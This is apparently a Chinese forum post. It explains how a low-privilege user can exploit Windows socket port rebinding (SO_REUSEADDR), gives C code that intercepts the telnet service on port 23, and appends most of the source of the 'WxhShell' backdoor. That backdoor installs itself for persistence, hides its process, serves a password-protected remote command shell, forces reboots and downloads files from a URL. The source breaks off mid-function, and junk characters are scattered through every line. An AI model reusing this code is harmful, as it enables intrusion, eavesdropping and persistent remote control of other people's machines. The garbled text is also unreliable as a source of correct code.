在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
l)8 V:MK s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
IO#W#wW$M @_Zx'mTI saddr.sin_family = AF_INET;
,lnuu yFt7fdl2 saddr.sin_addr.s_addr = htonl(INADDR_ANY);
DX";v
J WI6E3,ejB1 bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
K*9b `% bwJi[xF 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
n@Ag`} eFQi
K6`i 这意味着什么?意味着可以进行如下的攻击:
4Le5Ms/ o,yvi 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
yLx.*I^6 S;'eoqN8 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
c)8wO=! EVFfXv^ 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
(UZ*36@PJx qt(:bEr^6b 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
8ilbX)O IdxTo Mr 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
4AYc8Z#' b-?o?}* 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
Z?.*.<"Sj v+#j> 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
dYd~9 <.b$
gX #include
|S{P`)z%f #include
\6 hL W_q1 #include
Q/c
WV #include
hD1AK+y DWORD WINAPI ClientThread(LPVOID lpParam);
Wts{tb int main()
`4bd, {
0*?XQV@ WORD wVersionRequested;
<o+
7U DWORD ret;
yk<jlVF$j WSADATA wsaData;
N o(f0g. BOOL val;
:dN35Y] a SOCKADDR_IN saddr;
NE3wui1 V SOCKADDR_IN scaddr;
x\.i`ukx int err;
>k}/$R+ SOCKET s;
Y:%)cUxA SOCKET sc;
K eI:/2 int caddsize;
CLEG'bZa, HANDLE mt;
cJEz>Z6[ DWORD tid;
dyzwJ70K wVersionRequested = MAKEWORD( 2, 2 );
2^6TrZA7M6 err = WSAStartup( wVersionRequested, &wsaData );
|WU`p if ( err != 0 ) {
RYl3txw printf("error!WSAStartup failed!\n");
NP`s[ return -1;
15o.j!S }
W \}}gIEM+ saddr.sin_family = AF_INET;
7;'.5,-3c S7ehk*` //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
S}^s5ztm I~LQ1_ saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
F/*fQAa" saddr.sin_port = htons(23);
kA%OF*%|6 if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
.k`*$1?73x {
z<6P3x| printf("error!socket failed!\n");
}c4E 2c return -1;
: .o=F`W }
gAA
%x7 val = TRUE;
;"Y;l=9_ //SO_REUSEADDR选项就是可以实现端口重绑定的
-\'.JA_ if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
qTHg[sME {
&JhIn%=- printf("error!setsockopt failed!\n");
-ouJf}#R return -1;
E#$_uZ4 }
pq?[ wp" //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
rtL9cw5 //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
f=_?<I{ //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
C.eV|rc@T cm@ oun if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
U.Chf9a- {
*OOa)P{^D ret=GetLastError();
{0vbC/?] printf("error!bind failed!\n");
EO/cW<uV' return -1;
;D"P9b]9$ }
(
ssH=a listen(s,2);
8U2wH while(1)
y'!p>/%v {
Ot$cmBhw! caddsize = sizeof(scaddr);
r(1pvcWY- //接受连接请求
3cfZ!E~^kc sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
CESe}^)n if(sc!=INVALID_SOCKET)
).+xcv {
K;y\[2;}e, mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
OpbT63@L if(mt==NULL)
k[ffs} {
?Y0$X>nm printf("Thread Creat Failed!\n");
x|v[Dxf] break;
M,\|V3s }
)/WA)fWkT }
Ec*--]j*c CloseHandle(mt);
$qlqWy-s }
<Xs@ \ closesocket(s);
?%dCU~ z WSACleanup();
W_BAb+$aF return 0;
(#-=y~% }
/[|}rqX( DWORD WINAPI ClientThread(LPVOID lpParam)
<[3lV)~t {
UQ$\
an' SOCKET ss = (SOCKET)lpParam;
)1Ma~8Y%r SOCKET sc;
>b4YbLkI# unsigned char buf[4096];
$: 4mOl SOCKADDR_IN saddr;
`!,\kc1 long num;
@8M'<tr<z DWORD val;
tLXn?aNY DWORD ret;
zfjD b //如果是隐藏端口应用的话,可以在此处加一些判断
t)oES>W1 //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
(ciGLfNG saddr.sin_family = AF_INET;
U-~*5Dd saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
yA!3XUi saddr.sin_port = htons(23);
Y1yXB).AH8 if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
f^6&Fb> {
Owh*KY: printf("error!socket failed!\n");
igRDt{} return -1;
9!O+Ryy?\ }
KF:]4`$ val = 100;
hHfe6P
| if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
iC\rhHKQ {
,WO%L~db ret = GetLastError();
t7*G91Hoq& return -1;
=p,4=wo{ }
=0s`4Y"+ if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
&v3D" J {
f#;ubfi"z ret = GetLastError();
rY[3_ NG% return -1;
hpqHllL }
]xJ'oBhy if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
^Kw&=u {
M 5T=Fj86 printf("error!socket connect failed!\n");
^B<PD] closesocket(sc);
/\ ,_P closesocket(ss);
f
gK2.;> return -1;
{p#l!P/ }
K)9j
je while(1)
taWirqd9 {
8"?Vcw& //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
rSF;Lp)} //如果是嗅探内容的话,可以再此处进行内容分析和记录
m0%iw1OsH% //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
r{R[[]p num = recv(ss,buf,4096,0);
w!B,kqTG if(num>0)
r21?c|IP send(sc,buf,num,0);
M73VeV3DL else if(num==0)
D% v:PYf break;
FhY{;-W(T num = recv(sc,buf,4096,0);
_q$0lqq~u if(num>0)
%2@ Tj}xa send(ss,buf,num,0);
:>tF_6 else if(num==0)
S|{Yvyp break;
*c~'0|r }
KD,^*FkkL closesocket(ss);
3xmiX{1e closesocket(sc);
r%Q8)nEo return 0 ;
hkmTpH1<M }
r+[#%%}ea ="5k\1W1M abTDa6 /`v ==========================================================
|aI|yq) g33<qYxP 下边附上一个代码,,WXhSHELL
XI%RneuDr: q7O,I`KaJ ==========================================================
0%h[0jGj ; d, JN #include "stdafx.h"
6o[0sM_]; xE G+%Uk{ #include <stdio.h>
vI
pO/m.3 #include <string.h>
3t"~F%4-} #include <windows.h>
\yJZvhUk #include <winsock2.h>
@ 7Q*h
#include <winsvc.h>
RMS.1: O
#include <urlmon.h>
VL_)]LR*) 4f{[*6 GX #pragma comment (lib, "Ws2_32.lib")
4cXAT9 #pragma comment (lib, "urlmon.lib")
D_l/Gxdpr {+@ms$z #define MAX_USER 100 // 最大客户端连接数
QmWC2$b #define BUF_SOCK 200 // sock buffer
/32Ta #define KEY_BUFF 255 // 输入 buffer
AI^AK0.L oTq%wi6 _ #define REBOOT 0 // 重启
W\I$`gyC/ #define SHUTDOWN 1 // 关机
4)z3X\u|Z2 T8,k77 #define DEF_PORT 5000 // 监听端口
_9Dn\=g .x)>f #define REG_LEN 16 // 注册表键长度
{&\J)oZ #define SVC_LEN 80 // NT服务名长度
@K,2mhE~h t/v@vJ`vSH // 从dll定义API
nu4Pc typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
=,&u_>Dp typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
G]L0eV typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
) >>u|#@z typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
^#a#<8Jz VRtbHam // wxhshell配置信息
?dp-}3/G struct WSCFG {
%-h7Z3YcN int ws_port; // 监听端口
x\Nhix}1D char ws_passstr[REG_LEN]; // 口令
17V\2=Io int ws_autoins; // 安装标记, 1=yes 0=no
c^ixdk char ws_regname[REG_LEN]; // 注册表键名
X0^zw^2W char ws_svcname[REG_LEN]; // 服务名
X)FL[RO%q char ws_svcdisp[SVC_LEN]; // 服务显示名
_N>wzkJ char ws_svcdesc[SVC_LEN]; // 服务描述信息
6obQ9L c char ws_passmsg[SVC_LEN]; // 密码输入提示信息
7j@^+rkr3f int ws_downexe; // 下载执行标记, 1=yes 0=no
LFEp char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
/`7 I K char ws_filenam[SVC_LEN]; // 下载后保存的文件名
E0sbU<11 "_nX5J9 };
+G5'kYzJ 4ggVj*{v // default Wxhshell configuration
z{Hz;m:*_ struct WSCFG wscfg={DEF_PORT,
GIl:3iB49 "xuhuanlingzhe",
|RHO+J 1,
H/cs_i "Wxhshell",
EsT0"{ "Wxhshell",
ggrI>vaw "WxhShell Service",
j G+T. "Wrsky Windows CmdShell Service",
R19'|TJ "Please Input Your Password: ",
qJ\X~5{ 1,
Z7`5x "
http://www.wrsky.com/wxhshell.exe",
8pXfT%] "Wxhshell.exe"
mBw2 };
(P2[5d| h=X7,2/< // 消息定义模块
5T!&r char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
-6uH. char *msg_ws_prompt="\n\r? for help\n\r#>";
1t0bUf;(M char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
i{<8
hLO char *msg_ws_ext="\n\rExit.";
! a86iHU char *msg_ws_end="\n\rQuit.";
ot-(4Y char *msg_ws_boot="\n\rReboot...";
Ly^E& ,) char *msg_ws_poff="\n\rShutdown...";
<$"7~i/X char *msg_ws_down="\n\rSave to ";
lKf Mp1 @) char *msg_ws_err="\n\rErr!";
L=d$"Q char *msg_ws_ok="\n\rOK!";
Sv.KI{;v$ \z2vV+f char ExeFile[MAX_PATH];
M#=Y~PU int nUser = 0;
fy9uLl}h HANDLE handles[MAX_USER];
vad|Rp l int OsIsNt;
iYkRo>3!QX "EJ\]S]$X SERVICE_STATUS serviceStatus;
60~v
t04 SERVICE_STATUS_HANDLE hServiceStatusHandle;
S|l&fb n UP\8w#~ // 函数声明
-sP9E|/:'3 int Install(void);
[vE$R@TZ0! int Uninstall(void);
8r5xs- int DownloadFile(char *sURL, SOCKET wsh);
DG_}9M!DW@ int Boot(int flag);
)URwIe{ void HideProc(void);
g+:$X- r int GetOsVer(void);
(:ZPt(1 int Wxhshell(SOCKET wsl);
;_x2Ymw void TalkWithClient(void *cs);
4;?1Kb# int CmdShell(SOCKET sock);
?A|zRj{ int StartFromService(void);
<MRC%!. int StartWxhshell(LPSTR lpCmdLine);
fW(; *zJD$+Fo VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
#]"/{Z VOID WINAPI NTServiceHandler( DWORD fdwControl );
2q+la|1Cr DKR<W.!*t // 数据结构和表定义
ZmNZS0j SERVICE_TABLE_ENTRY DispatchTable[] =
4"LPJX)Q {
pMOD\J:l, {wscfg.ws_svcname, NTServiceMain},
N[>:@h {NULL, NULL}
3QH(4N };
_\p`4-.V wyp{KIV // 自我安装
STv(kQs int Install(void)
bC6X?m= {
KUbJe)}g char svExeFile[MAX_PATH];
OE6#YT HKEY key;
XnD0eua# strcpy(svExeFile,ExeFile);
5Qb;2! Pv#KmSA9 // 如果是win9x系统,修改注册表设为自启动
6s'[{Ov if(!OsIsNt) {
7Ez}k}aR< if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
O)l%OOv RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
}Bd_:#.mw RegCloseKey(key);
xOhRTxic if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
e!6eZ)l RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
"@(58nk RegCloseKey(key);
OO$|9`a return 0;
OthG7+eF }
61G|?Aax }
-H4PRCDH }
{d8^@UL else {
k@7kNMl 8:~b
&> // 如果是NT以上系统,安装为系统服务
miPmpu! SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
se!g4XEWD if (schSCManager!=0)
YRXK@'[= {
{798=pC<. SC_HANDLE schService = CreateService
AYt*'Zeg!s (
]Uu
aN8 schSCManager,
iL+y(] wscfg.ws_svcname,
r9<V%PHv wscfg.ws_svcdisp,
4AJ9`1d4 SERVICE_ALL_ACCESS,
P>|Ef~j SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
v< Ty|(gd SERVICE_AUTO_START,
^mAJ[^% SERVICE_ERROR_NORMAL,
Q
Qi@>v|d svExeFile,
2,+d|1(4o NULL,
70{RDj6{ NULL,
|l$
u<3
NULL,
f]c<9Q>* NULL,
UBa- NULL
bZu$0IG );
L,6MF,vx if (schService!=0)
5|5=Y/ {
ad9EG#mD# CloseServiceHandle(schService);
O
3G:0xF CloseServiceHandle(schSCManager);
TFYw strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
t]4!{~, strcat(svExeFile,wscfg.ws_svcname);
KA?v.s if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
G<|:605 RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
8'+7i8e RegCloseKey(key);
Xt\Dy return 0;
QOd!]*W`?m }
Gj)uyjct }
*]>])ms) CloseServiceHandle(schSCManager);
z1#oWf{* }
,^HS`!s[ E }
(N7O+3+G {|Bd?U; return 1;
\,hrk~4U;( }
l`* ( f9Q 4Q$!c{Y
r // 自我卸载
2!BsEvB( int Uninstall(void)
6oYIQ'hc {
/ xs9.w8- HKEY key;
7pz\ScSe G#|Hu;C6" if(!OsIsNt) {
K0LbZMn,/ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
:4U0I:J# RegDeleteValue(key,wscfg.ws_regname);
4'` C1 a RegCloseKey(key);
X'jr|s^s if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
_%;M9Sg3 RegDeleteValue(key,wscfg.ws_regname);
3h LqAj RegCloseKey(key);
72u db^ return 0;
v:?o3
S }
9Eu #lV }
]r!QmWw~V }
6A.P6DW else {
q P'[&h5Y Rh[Ib m56 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
MJA~jjy4 if (schSCManager!=0)
z$66\/V'] {
V\"1wV~E SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
.8:+MW/ if (schService!=0)
)Y~xIj> {
wW^Zb if(DeleteService(schService)!=0) {
? -CV
%l CloseServiceHandle(schService);
9|<Be6 CloseServiceHandle(schSCManager);
y)tYSTJK return 0;
e+l\\9v }
9N^+IZ@l CloseServiceHandle(schService);
QE3ryD }
x_k S
g CloseServiceHandle(schSCManager);
,2ME2@OP }
fy`+Efuj }
puA|NT cFDxjX?~ return 1;
+O4( a. }
ZJ9x6|q 7pP+5&* // 从指定url下载文件
95[wM6?J int DownloadFile(char *sURL, SOCKET wsh)
bb}?h]a {
IqNpLh|[ HRESULT hr;
$e*B:}x} char seps[]= "/";
k8
u%$G char *token;
m9woredS, char *file;
>gnF]< char myURL[MAX_PATH];
qfa}3k8et char myFILE[MAX_PATH];
W"|mpxp 8?kP*tmcZ strcpy(myURL,sURL);
j3{HkcjJG token=strtok(myURL,seps);
mTJ"l(,3 while(token!=NULL)
jFG5)t<D {
3(C :X1 file=token;
_F^$aZt?e token=strtok(NULL,seps);
@UV{:]f~e }
BKX9SL] bQ"N
;d)e GetCurrentDirectory(MAX_PATH,myFILE);
6< >SHw strcat(myFILE, "\\");
*%I[ ke * strcat(myFILE, file);
4~Dax) send(wsh,myFILE,strlen(myFILE),0);
` zY!`G send(wsh,"...",3,0);
DRp&IP< hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
F3Ap1-%z if(hr==S_OK)
OT;cfkf7 return 0;
-zTEL(r else
M!#AfIyB return 1;
E23w *'] NHAH#7]M&1 }
bNXAU\M^ 9qre|AA // 系统电源模块
|by@ :@*y int Boot(int flag)
/p 5=i {
vf N#NY6 HANDLE hToken;
&wb9_?ir- TOKEN_PRIVILEGES tkp;
!)nD xM`p kZv*rWAm if(OsIsNt) {
_YLUS$Zw OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
gB >pd?d LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
H]]c9`ayt tkp.PrivilegeCount = 1;
~z`/9; tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
eC;!YGZ AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
.jargvAL* if(flag==REBOOT) {
;NP[_2|-, if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
>(3'Tnu return 0;
~~q}cywBk }
ABZ06S/ else {
hiN/S|JN8y if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
lV)G@l[1 return 0;
NpR6 }
cQn)^jx= }
[@|be.g else {
A="fj if(flag==REBOOT) {
Ye@t_,)x if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
n,sY\=vB return 0;
`m, Ki69. }
N+J>7_k else {
s/h7G}Mu if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
ul=7>";=| return 0;
;s}3e#$L }
7k~Lttuk }
K$ AB} Fvc 1`QsW&9=b return 1;
lQL:3U0DjU }
tr=@+WHp ]u0Jd#@ // win9x进程隐藏模块
a_{6Qdl void HideProc(void)
1eD.:_t4 {
@)b^^Fp 6c &Y HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
K}K)`bifw if ( hKernel != NULL )
h)@InYwu7 {
J=9 #mOcg" pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
n`.#59-Hx ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
s i?HkJv5 FreeLibrary(hKernel);
W>/UBN3 }
o\goE^,aeR t!t=|JNf{ return;
6v>z h }
\igaQ\~ oCuV9dA. // 获取操作系统版本
`pm>' int GetOsVer(void)
;RHNRVP {
e "n|jRh OSVERSIONINFO winfo;
hDvpOIUL1 winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
Gkmsaf> GetVersionEx(&winfo);
"lrA%~3%[P if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
N,|r1u 9X# return 1;
}dKLMNqPA else
xqv[?
? return 0;
.Q[yD<)Ubs }
F.
T@)7 'Sa!5h // 客户端句柄模块
1.0J2nZpt int Wxhshell(SOCKET wsl)
{i;6vRr {
7"K^H]6u30 SOCKET wsh;
z6cYC, struct sockaddr_in client;
mp:m`sh*i DWORD myID;
L;yEz[#xaT uA%Ts*aN while(nUser<MAX_USER)
&O*ENpF {
]! )xr int nSize=sizeof(client);
"i%jQL'. wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
[b;Uz|o if(wsh==INVALID_SOCKET) return 1;
km4g}~N</ 9I kUZW handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
Z
Xb}R^O- if(handles[nUser]==0)
zo44^=~% closesocket(wsh);
hVf^ else
ERC<Dd0 nUser++;
lwJip IO }
YxyG\J\|, WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
+nQ!4
iRs V#s return 0;
Bc[6*Y,%T }
M2p<u-6
" Rcf=J){D6 // 关闭 socket
G#lg|# -# void CloseIt(SOCKET wsh)
RJPcn)@l {
Kj!Y K~~ closesocket(wsh);
OL9]*G?F nUser--;
+* D4( ExitThread(0);
MA6P"? }
9U'[88 ,LZ(^u // 客户端请求句柄
5~U:@Tp void TalkWithClient(void *cs)
4+Ti7p06&\ {
@d)LRw.I BKZ v9 SOCKET wsh=(SOCKET)cs;
,R~eY?{a char pwd[SVC_LEN];
Azn:_4O char cmd[KEY_BUFF];
-|[~sj-p char chr[1];
?Pnx~m{%* int i,j;
fYn{QS? QS;F+cmTh while (nUser < MAX_USER) {
B{PLIisc $T/#1w P if(wscfg.ws_passstr) {
= t-fYV if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
PCZ]R //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
+6376$dC //ZeroMemory(pwd,KEY_BUFF);
@/(@/*+" i=0;
LzE/g)> while(i<SVC_LEN) {
$iHoOYx]< 6(.H3bu // 设置超时
1J'pB;.]s fd_set FdRead;
=qX*] struct timeval TimeOut;
$',3Pv FD_ZERO(&FdRead);
^ $wJi9D6 FD_SET(wsh,&FdRead);
!7c'<[+Hm TimeOut.tv_sec=8;
qguVaV4Y TimeOut.tv_usec=0;
bg1un@%!l int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
|*E"G5WZM if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
~d>uXrb ~bGnq,
.$ if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
`M)E* G pwd
=chr[0]; ns26$bU
if(chr[0]==0xd || chr[0]==0xa) { gQR1$n0
pwd=0; 9FNwpL'C
break; k(v"B@0
} uS-3\$
i++; 6F-JK1i
} J[r^T&o
,ey0:.!;
// 如果是非法用户,关闭 socket z{M8Yf |
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); B@-"1m~la?
} T`Ro)ORC#
ob]dZ
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ?[|hGR2L
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); `#U ]iwW!
DM'qNgB7
while(1) { 5%&]
97 S? ;T
ZeroMemory(cmd,KEY_BUFF); '=@r7g.2
H+R7X71{
// 自动支持客户端 telnet标准 yZ~b+=UM
j=0; ;Z4o{(/zU
while(j<KEY_BUFF) { AWL[zixR
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ~v\hIm3=m
cmd[j]=chr[0]; s ^3[W0hL
if(chr[0]==0xa || chr[0]==0xd) { #s{aulx
cmd[j]=0; (Com,
break; 1 KB7yG-#6
} #B}Qt5w
j++; OM{Dq|
} 0T0/fg(o
WvbEh|y
// 下载文件 )7w@E$l"
if(strstr(cmd,"http://")) { FT4l$g7"
send(wsh,msg_ws_down,strlen(msg_ws_down),0); ~$ *`cO
if(DownloadFile(cmd,wsh)) )2]a8JVf
send(wsh,msg_ws_err,strlen(msg_ws_err),0); RF!'K
ko
else ZYDWv/u
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); [
t$AavU.
} 4(8<w cL
else { FW5}oD(H
yp?w3|`4;
switch(cmd[0]) { hv{87`L'K(
9#fp_G;=
// 帮助 [,GU5,o
case '?': { EIPnm%{1
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); (Z
8,e
break; lvx]jd\
} c>rKgx
// 安装 {=6)SBjf
case 'i': { lZvS0JS
if(Install()) -)6;0
send(wsh,msg_ws_err,strlen(msg_ws_err),0); "8?TSm8
else q-H&5K
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Y-= /,
break; -~}
tq]
} D>Ua#<52q
// 卸载 egWx9xX
case 'r': { o"\{OX
if(Uninstall()) p>&S7M/9
send(wsh,msg_ws_err,strlen(msg_ws_err),0); -tMA
else b@!:=_Mr
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); *7_@7=W,
break; e z+yP,.#
} NFV_+{X\
// 显示 wxhshell 所在路径 ?lyltAxs'
case 'p': { 8J):\jAZ6
char svExeFile[MAX_PATH]; *V -ds8AQ
strcpy(svExeFile,"\n\r"); ]$|st^Q
strcat(svExeFile,ExeFile); mV%h[~-
send(wsh,svExeFile,strlen(svExeFile),0); ]Ly8s#<g]N
break; D Kq-C%
} ? osfL
// 重启 %b9fW
case 'b': { ]xYa yN!n
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); X+%u(>>
if(Boot(REBOOT)) T(gg>_'jh
send(wsh,msg_ws_err,strlen(msg_ws_err),0); fQ1 0O(`g,
else { j<@fT
ewZ
closesocket(wsh); W.p66IQwL&
ExitThread(0); U&s(1~e\
} {IrJLlq
break; 7~D`b1||
} 4/f[`].#W
// 关机 YLigP"*~^
case 'd': { LC76 Qi;|k
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ho_4fDv
if(Boot(SHUTDOWN)) smbUu/
send(wsh,msg_ws_err,strlen(msg_ws_err),0); k0knPDbHv
else { (qbc;gBy
closesocket(wsh); UC(9Dz
ExitThread(0); $^ubo5%
} %^T!@uZr
break; rX:1_q`xA
} x~nQm]@`h
// 获取shell 6}"lm]b
case 's': { `[&v
CmdShell(wsh); (<n>EF#
closesocket(wsh); =<TO"
ExitThread(0); Nv{eE<<6
break; P.!;Uf}32
} [{?;c+[
// 退出 *n,UOHlO
case 'x': { m qpd
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); '/dTqg*W
CloseIt(wsh); ?N(u4atC
break; \DaLHC~
} {vjqy&?y
// 离开 \3M1.Q4$Gr
case 'q': { D?%e"*>
send(wsh,msg_ws_end,strlen(msg_ws_end),0); kv/(rKLp*
closesocket(wsh); jXtLo,km
WSACleanup(); o;%n,S8J|^
exit(1); unpfA#&!"
break; O4n8MM|`
} ]2P/G5C3tU
} #c:9V2
} VGfD;8]z
e`vUK.UoW
// 提示信息 {;\%!I
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); (5>{?dR)|
} |^Ur
} u^!&{ q
A
xRl*B
return; sBbL~ce50?
} %6"o8
2}59 7Hb
// shell模块句柄 H RWZ0 '
int CmdShell(SOCKET sock) juR
{ jzT;,4poy
STARTUPINFO si; K7+^Yv\YQx
ZeroMemory(&si,sizeof(si)); 9*f2b.Aj
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; L,GShl 0S
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; C CLfvex
PROCESS_INFORMATION ProcessInfo; eK\|SQb
char cmdline[]="cmd"; py}.00it
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 0@:Y>qVa
return 0; O~nBz):2
} v]l&dgoT
zV6AuUIt
// 自身启动模式 Ja^7$WY
int StartFromService(void) 8xc8L1;
{ Hxj'38Y
typedef struct O\3r%=TF
{ ,.J<.#D3J
DWORD ExitStatus; R%qX_m\0
DWORD PebBaseAddress; (R,NV3m?w
